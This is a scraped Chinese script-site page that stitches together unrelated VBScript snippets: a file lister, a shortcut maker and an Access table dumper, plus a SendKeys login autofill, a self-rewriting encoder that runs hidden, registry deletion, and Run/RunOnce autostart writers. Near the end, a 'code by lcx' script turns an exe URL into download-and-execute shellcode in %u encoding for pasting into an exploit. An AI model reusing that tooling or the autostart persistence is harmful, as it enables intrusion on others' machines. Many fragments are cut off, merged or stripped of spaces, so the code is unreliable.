福利脚本pcb技术

发布时间:2021-06-09 来源:脚本之家 点击:

使用VisualBasic来设计组件实际上并不比使用VBScript或JScript®困难多少
Option Explicit
On Error Resume Next

'生成列表的文件类型
Const sListFileType="wmv,rm,wma"

'文件所在的相对路径
Const sShowPath="."

'排序类型的常量定义
Const iOrderFieldFileName=0
Const iOrderFieldFileExt=1
Const iOrderFieldFileSize=2
Const iOrderFieldFileType=3
Const iOrderFieldFileDate=4

'排序顺逆的常量定义
const iOrderAsc=0
const iOrderDesc=1

'生成列表的文件数量
const iShowCount=20


'显示的日期格式函数
Function Cndate2(date1,intDateStyle)
dim strdate,dDate1
strdate=cstr(date1)
If Isdate(strdate) Then
If Left(cstr(strdate),1)="0" Then
dDate1=Cdate("20"+cstr(strdate))
else
dDate1=Cdate(strdate)
End If
Else
dDate1=Now()
End If
Select case intDateStyle
Case 1:
Cndate2=Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))
Case 2:
Cndate2=Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))
Case 3:
Cndate2=Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
Case 4:
Cndate2=Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"月"+Cstr(Day(dDate1))+"日"
End Select
End Function


Function ListFile(strFiletype,intCompare,intOrder,intShowCount)
Dim sListFile
Dim fso, f, f1, fc, s,ftype,fcount,i,j,k
Dim t1,t2,t3,t4,t5
Dim iMonth,iDay
sListFile=""
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(sShowPath)
Set fc=f.Files
fcount=fc.count
redim arrFiles(fcount,5)
redim arrFiles2(fcount,5)
i=0
'排序
For Each f1 in fc
ftype=right(f1.name,len(f1.name)-instrrev(f1.name,"."))
arrFiles(i,0)=f1.name
arrFiles(i,1)=ftype
arrFiles(i,2)=f1.size
arrFiles(i,3)=f1.type
arrFiles(i,4)=f1.DateLastModified
i=i+1
Next
For i=0 to fcount-1
for j=i+1 to fcount-1
select Case intCompare
Case iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:
If arrFiles(i,intCompare)>arrFiles(j,intCompare) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)

arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)

arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
Case iOrderFieldFileSize:
If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)

arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)

arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
Case iOrderFieldFileDate:
If Cdate(arrFiles(i,intCompare))>Cdate(arrFiles(j,intCompare)) then
t1=arrFiles(i,0)
t2=arrFiles(i,1)
t3=arrFiles(i,2)
t4=arrFiles(i,3)
t5=arrFiles(i,4)

arrFiles(i,0)=arrFiles(j,0)
arrFiles(i,1)=arrFiles(j,1)
arrFiles(i,2)=arrFiles(j,2)
arrFiles(i,3)=arrFiles(j,3)
arrFiles(i,4)=arrFiles(j,4)

arrFiles(j,0)=t1
arrFiles(j,1)=t2
arrFiles(j,2)=t3
arrFiles(j,3)=t4
arrFiles(j,4)=t5
end if
End Select
next
next
'生成列表
sListFile=sListFile + ("<table cellpadding=0 cellspacing=0 width=100% align=center class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc); "">")
sListFile=sListFile + ("<THEAD><Tr class=PageListTitleTr><Td class=PageListTitleTd>")
sListFile=sListFile + ("名称")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("媒体")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("大小")
sListFile=sListFile + ("</td><Td class=PageListTitleTd>")
sListFile=sListFile + ("类型")
sListFile=sListFile + ("</td><Td class=PageListTitleTd ID=updatetime>")
sListFile=sListFile + ("更新时间")
sListFile=sListFile + ("</td></Tr></THEAD>")
dim iLoopStart,iLoofEnd,iLoopStep
If intOrder=0 then
iLoopStart=0
iLoofEnd=fcount-1
iLoopStep=1
Else
iLoopStart=fcount-1
iLoofEnd=0
iLoopStep=-1
End if
dim iCount,sTDStyleClass
iCount=1
For j=iLoopStart to iLoofEnd Step iLoopStep
If instr(strFiletype,arrFiles(j,1))>0 and iCount<=intShowCount then
sTDStyleClass="PageListTd"+Cstr((iCount mod 2)+1)
sListFile=sListFile + ("<Tr class=PageListTr><Td class="+sTDStyleClass+">")
sListFile=sListFile + ("<img src="+arrFiles(j,1)+".gif align=absbottom><img src= width=2 height=0><a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">" & arrFiles(j,0) &"</a>")
If datediff("h",arrFiles(j,4),now)<=24 then
sListFile=sListFile + "<img src= align=absmiddle>"
end if
sListFile=sListFile + "</td><Td class="+sTDStyleClass+">"
sListFile=sListFile + ("<a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">")
'根据文件名规则,生成中文提示
select case left(arrFiles(j,0),3)
case "sc2":
sListFile=sListFile + "<font color=#AA0000>四川卫视 "
case "sd2":
sListFile=sListFile + "<font color=#00AA00>山东卫视 "
case "gd2":
sListFile=sListFile + "<font color=#0000AA>广东卫视 "
case "gx2":
sListFile=sListFile + "<font color=#AAAA00>广西卫视 "
end select
'日期显示
If isnumeric(left(right(arrFiles(j,0),8),2)) then
iMonth=cint(left(right(arrFiles(j,0),8),2))
iDay=cint(left(right(arrFiles(j,0),6),2))
sListFile=sListFile + cstr(iMonth)+"月" + cstr(iDay)+"日"
sListFile=sListFile + ("</a></td><Td class="+sTDStyleClass+" align=right>")
Else
response.write arrFiles(j,0)
end if
If arrFiles(j,2)>1024*1024 then
sListFile=sListFile + cstr(round(arrFiles(j,2)/1024/1024))
sListFile=sListFile + ("MB")
else
sListFile=sListFile + cstr(round(arrFiles(j,2)/1024))
sListFile=sListFile + ("KB")
end if
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("<Td class="+sTDStyleClass+">")
sListFile=sListFile + cstr(arrFiles(j,3))
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("<Td class="+sTDStyleClass+">")
sListFile=sListFile + (Cndate2(arrFiles(j,4),4))
sListFile=sListFile + ("</td>")
sListFile=sListFile + ("</Tr>")
iCount=iCount+1
end if
next
sListFile=sListFile + "</table>"
ListFile=sListFile
End Function

'生成调用文件的过程
Sub ShowFileListContent()
Dim tUpdatetime,sUpdateContent

Dim fso,f,f_js,f_js_write
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(sShowPath)
Set f_js=fso.GetFile("list.js")

'比较调用文件与文件夹的最后修改时间
If f.DateLastModified<>f_js.DateLastModified then
sUpdateContent=ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount)
Set f_js_write=fso.CreateTextFile("list.js", True)
'JS调用就加上下面这对document.write
' f_js_write.Write ("document.write('")
f_js_write.Write (sUpdateContent)
' f_js_write.Write ("')")
f_js_write.Close
End If
End Sub

Call ShowFileListContent()

可以代替网通宽带登陆器的一段vbs脚本

Dim WshShell, iexplorePath, iexploreselect
iexplorePath="c:\Progra~1\Intern~1\iexplore.exe"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run iexplorePath

WScript.Sleep 2000
WshShell.AppActivate "用户上网登陆"
WshShell.SendKeys "自己的账号{TAB}"
WshShell.SendKeys "自己的密码"
WScript.Sleep 2000
WshShell.SendKeys "{ENTER}"

利用VBS脚本创建快捷方式

我们以"QQ Aqing增强包参数配置器"为例子,讲述如何利用VBS脚本创建快捷方式.代码如下:

代码:

set WshShell=Wscript.CreateObject("Wscript.Shell")
strDesktop=WshShell.SpecialFolders("Desktop")
set oShellLink=WshShell.CreateShortcut(strDesktop & "\QQ Aqing增强包参数配置器.lnk")
'创建一个快捷方式对象,其在桌面上显示的名字为"QQ Aqing增强包参数配置器"
oShellLink.TargetPath="C:\Program Files\Tencent\QQ\Aqing.exe"
'设置快捷方式的执行路径
oShellLink.WindowStyle=1
oShellLink.Hotkey="Ctrl+Alt+e" '设置快捷方式的快捷键
oShellLink.IconLocation="E:\Picture\Aqing.ico" '设置快捷方式的图标路径
oShellLink.Description="QQ Aqing增强包参数配置器" '设置快捷方式的描述
oShellLink.WorkingDirectory=strDesktop
oShellLink.Save

将上述代码保存为"CreateShortcut.vbs"(不含引号).双击CreateShortcut.vbs,就会将QQ Aqing增强包参数配置器的快捷方式建立到桌面上.

用这种方法建立的快捷方式的最大优点是:快捷方式的图标可以根据自己的喜好进行更改

用VBS脚本发送email!
[code]
Set objEmail=CreateObject("CDO.Message")
objEmail.From="null_vbt@163.com"
objEmail.To="null_vbt@163.com"
objEmail.Subject="这封邮件是由VBS脚本发送"
objEmail.Textbody="如果你收到这封邮件,就表示测试成功

游戏软件脚本是什么
保存为文件:"+chr(10)&chr(10)&_
FSO.BuildPath(PkgPath,PkgName&"_Encode.VBS")+chr(10)+chr(10)+_
chr(10)&CloseTime&"秒钟后本窗口将自动关闭!"+chr(10)+chr(10)+_
chr(10)&"Copyright(C)"+Copyright+""&QQ&""+Email_
,CloseTime,EnCodePanDuan+"-"+Copyright,0+64
EndSub
SubUnCodeFile()
SetReadFile=FSO.OpenTextFile(Package,1)
ReadLineTextFile1=ReadFile.ReadLine
ReadLineTextFile2=ReadFile.ReadLine
ReadLineTextFile3=ReadFile.ReadLine
ReadFile.Close
SetNewFile=FSO.CreateTextFile(FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS"),True)
NewFile.WriteLine(ReadLineTextFile2)
NewFile.WriteLine(ReadLineTextFile3)
NewFile.WriteLine("EnCodePanDuan="&chr(34)&ReadLineTextFile1&chr(34)&vbCrLf&"EnCodePD="&chr
(34)&"RemEnCode-VeryByQQ:415736"&chr(34)&vbCrLf&"Fori=1ToLen
(ThisText)"&vbCrLf&"TempNum=Asc(Mid(ThisText,i,1))"&vbCrLf&"TempChar=Chr
(TempNum)"&vbCrLf&"ifEnCodePanDuan=EnCodePDthen"&vbCrLf&"IfTempChar=Chr(58)
Then"&vbCrLf&"TempChar=Chr(13)"&vbCrLf&"EndIf"&vbCrLf&"EndIf"&vbCrLf&"ThisTextTem=
ThisTextTem&TempChar"&vbCrLf&"Next")
NewFile.WriteLine("strCode=(ThisTextTem)"&vbCrLf&"SetWshSHell=WScript.CreateObject
("&chr(34)&"WScript.Shell"&chr(34)&")"&vbCrLf&"SetFSO=CreateObject("&chr(34)
&"Scripting.filesystemobject"&chr(34)&")"&vbCrLf&"FileName=
WScript.ScriptName"&vbCrLf&"SetfC=FSO.OpenTextFile(FileName,2,true)"&vbCrLf&"fC.Write
strCode"&vbCrLf&"fC.Close"&vbCrLf&"SetWshSHell=Nothing"&vbCrLf&"SetFSO=
Nothing"&vbCrLf&"WScript.Quit(0)")
NewFile.Close
WScript.Sleep1500
WshSHell.Run(chr(34)&FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS")&chr(34)),vbHide
WshShell.popupchr(10)&_
"解密成功了如果不指定扩展名,则用缺省的扩展名.txt

WScript.Echo"EnablingKerberosLogging..."
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SOFTWARE\999"
strDWORDValueName="DWORDValueName"
strExpandedStringValueName="ExpandedStringValueName"
strMultiStringValueName="MultiStringValueName"
strStringValueName="StringValueName"
strValueName="strValueName"
oReg.DeleteValueHKEY_LOCAL_MACHINE,strKeyPath,strDWORDValueName
oReg.DeleteValueHKEY_LOCAL_MACHINE,strKeyPath,strExpandedStringValueName
oReg.DeleteValueHKEY_LOCAL_MACHINE,strKeyPath,strMultiStringValueName
oReg.DeleteValueHKEY_LOCAL_MACHINE,strKeyPath,StringValueName
oReg.DeleteValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName
WScript.Echo"-=[Complete!]=-"
如果需要添加其它功能,请参阅VB编程乐园的其它文章和源码自行补充


'==========================================================================
'
' VBScript Source File -- Created with SAPIEN Technologies PrimalScript 4.1
'
' NAME: add2run03.vbs
'
' AUTHOR: shile
' DATE : 2008-12-13
'
' COMMENT: vbs实现添加程序到自启动项
'
'==========================================================================
On Error Resume Next '出错继续执行下个命令
dim ws
Set ws=CreateObject("Wscript.Shell")
Dim runKey,runPath
runKey=InputBox("输入自启动项键值名称","请输入")
runPath=InputBox("输入相应的程序路径","请输入")
Dim temp,ret
temp=ws.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Run"&runKey)
'MsgBox temp
If temp <> Empty Then
ret=MsgBox( "键值"&runKey"已经存在,其值为"&temp",是否替换为新的值"&runPath, vbOKCancel, "提示!")
If ret=vbOK Then
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"&runKey,runPath
MsgBox "修改"&runKey"值为"&runPath"成功",vbYes,"恭喜!"
End If
Else
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"&runKey,runPath
MsgBox "添加"&runKey"<"&runPath">成功",vbYes,"恭喜!"
End If

2改写Software\Microsoft\Windows\CurrentVersion\RunOnce

声明:
DeclareFunctionRegCloseKeyLib"advapi32.dll"Alias"RegCloseKey"(ByValhKeyAsLong)AsLong
DeclareFunctionRegCreateKeyLib"advapi32.dll"Alias"RegCreateKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
DeclareFunctionRegSetValueExLib"advapi32.dll"Alias"RegSetValueExA"(ByValhKeyAsLong,ByVallpValueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong'NotethatifyoudeclarethelpDataparameterasString,youmustpassitByValue.

在主Form中增加:

PublicConstREG_SZ=1
PublicConstHKEY_CURRENT_USER=&H80000001

PrivateSubForm_QueryUnload(CancelasInteger,UnloadModeasInteger)
DimhKeyAsLong
DimstrRunCmdAsString
IfUnloadMode=vbAppWindowsThen
strRunCmd=App.Path&""&App.EXEName&".EXE"
CallRegCreateKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\RunOnce",hKey)
CallRegSetValueEx(hKey,"MyApp",0&,REG_SZ,ByValstrRunCmd,Len(strRunCmd) 1)
CallRegCloseKey(hKey)
Endif
EndSub->

'code by lcx

On Error Resume Next
Exeurl=InputBox( "请输入exe的地址:", "输入", "" )
url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body=getHTTPPage(url)
Set Re=New RegExp
Re.Pattern="(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches=Re.Execute(Body)
If Matches.Count>0 Then Body=Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode=",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval=CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody=.ResponseBody
End With
Set Retrieval=Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write Body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Set objstream=Nothing
End Function

Function URLEncoding(vstrIn)
strReturn=""
For aaaa=1 To Len(vstrIn)
ThisChr=Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn=strReturn & ThisChr
Else
innerCode=Asc(ThisChr)
If innerCode < 0 Then
innerCode=innerCode + &H10000
End If
Hight8=(innerCode And &HFF00)\ &HFF
Low8=innerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding=strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换里的shellcode1内容即可"造梦西游ol编法

  FSO通过CreateTextFile、OpenTextFile、OpenAsTextStream三种方法来创建一个顺序文本文件
Option Explicit
Dim arrTables( ), i, idxTables, intValidArgs
Dim blnContent, blnFieldNames
Dim objConn, objFSO, objRS, objSchema
Dim strConnect, strHeader, strOutput
Dim strFile, strResult, strSQL, strTable
Const adSchemaTables=20
' Check command line arguments
With WScript.Arguments
If .Unnamed.Count=1 Then
strFile=.Unnamed(0)
Else
Syntax
End If
blnFieldNames=True
blnContent=True
If .Named.Count > 0 Then
intValidArgs=0
If .Named.Exists( "T" ) Then
blnFieldNames=False
blnContent=False
intValidArgs=intValidArgs + 1
End If
If .Named.Exists( "TF" ) Then
blnContent=False
intValidArgs=intValidArgs + 1
End If
If intValidArgs <> .Named.Count Then Syntax
End If
End With
' Check if the specified database file exists
Set objFSO=CreateObject( "Scripting.FileSystemObject" )
If Not objFSO.FileExists( strFile ) Then Syntax
Set objFSO=Nothing
' Connect to the MS-Access database
Set objConn=CreateObject( "ADODB.Connection" )
strConnect="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strFile
objConn.Open strConnect
' Search for user tables and list them in an array
Set objSchema=objConn.OpenSchema( adSchemaTables )
idxTables=-1
Do While Not objSchema.EOF
If objSchema.Fields.Item(3).Value="TABLE" Then
idxTables=idxTables + 1
ReDim Preserve arrTables( idxTables )
arrTables( idxTables )=objSchema.Fields.Item(2).Value
End If
objSchema.MoveNext
Loop
' List all tables, their column names and their contents
For Each strTable In arrTables
strSQL="Select * From " & strTable
Set objRS=objConn.Execute( strSQL )
If IsObject( objRS ) Then
' Display the current table's name
If blnContent Then
WScript.Echo """Table: " & strTable & """"
Else
WScript.Echo """" & strTable & """"
End If
If blnFieldNames Then
strOutput=""
Do While Not objRS.EOF
' Create a header line with the column names and data types
strHeader=""
For i=0 To objRS.Fields.Count - 1
strHeader=strHeader & ",""[" _
& GetDataTypeDesc( objRS.Fields.Item(i).Type ) & "] " _
& objRS.Fields.Item(i).Name & """"
Next
strHeader=Mid( strHeader, 2 )
If blnContent Then
' List the fields of the current record in comma delimited format
strResult=""
For i=0 To objRS.Fields.Count - 1
strResult=strResult & ",""" & objRS.Fields.Item(i).Value & """"
Next
' Add the current record to the output string
strOutput=strOutput & Mid( strResult, 2 ) & vbCrLf
End If
' Next record
objRS.MoveNext
Loop
' List the results for the current table
WScript.Echo strHeader & vbCrLf & strOutput & vbCrLf
End If
End If
Next
objRS.Close
objSchema.Close
objConn.Close
Set objRS=Nothing
Set objSchema=Nothing
Set objConn=Nothing
Function GetDataTypeDesc( myTypeNum )
Dim arrTypes( 8192 ), i
For i=0 To UBound( arrTypes )
arrTypes( i )=""
Next
arrTypes(0)="Empty"
arrTypes(2)="SmallInt"
arrTypes(3)="Integer"
arrTypes(4)="Single"
arrTypes(5)="Double"
arrTypes(6)="Currency"
arrTypes(7)="Date"
arrTypes(8)="BSTR"
arrTypes(9)="IDispatch"
arrTypes(10)="Error"
arrTypes(11)="Boolean"
arrTypes(12)="Variant"
arrTypes(13)="IUnknown"
arrTypes(14)="Decimal"
arrTypes(16)="TinyInt"
arrTypes(17)="UnsignedTinyInt"
arrTypes(18)="UnsignedSmallInt"
arrTypes(19)="UnsignedInt"
arrTypes(20)="BigInt"
arrTypes(21)="UnsignedBigInt"
arrTypes(64)="FileTime"
arrTypes(72)="GUID"
arrTypes(128)="Binary"
arrTypes(129)="Char"
arrTypes(130)="WChar"
arrTypes(131)="Numeric"
arrTypes(132)="UserDefined"
arrTypes(133)="DBDate"
arrTypes(134)="DBTime"
arrTypes(135)="DBTimeStamp"
arrTypes(136)="Chapter"
arrTypes(138)="PropVariant"
arrTypes(139)="VarNumeric"
arrTypes(200)="VarChar"
arrTypes(201)="LongVarChar"
arrTypes(202)="VarWChar"
arrTypes(203)="LongVarWChar"
arrTypes(204)="VarBinary"
arrTypes(205)="LongVarBinary"
arrTypes(8192)="Array"
GetDataTypeDesc=arrTypes( myTypeNum )
End Function
Sub Syntax
Dim strMsg
strMsg=strMsg & vbCrLf _
& "AccessRd.vbs, Version 1.01" & vbCrLf _
& "Display MS Access database (user) tables and, optionally, their contents" _
& vbCrLf & vbCrLf _
& "Usage: CSCRIPT //NOLOGO ACCESSRD.VBS access_db_file [ /T | /TF ]" _
& vbCrLf & vbCrLf _
& "Where: ""access_db_file"" is an MS-Access database file" & vbCrLf _
& " /T list table names only" & vbCrLf _
& " /TF list table and field names only" & vbCrLf _
& " (default is list tables, field names AND contents)" _
& vbCrLf & vbCrLf _
& "Written by Rob van der Woude" & vbCrLf _
& ""
WScript.Echo strMsg
WScript.Quit(1)
End Sub

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号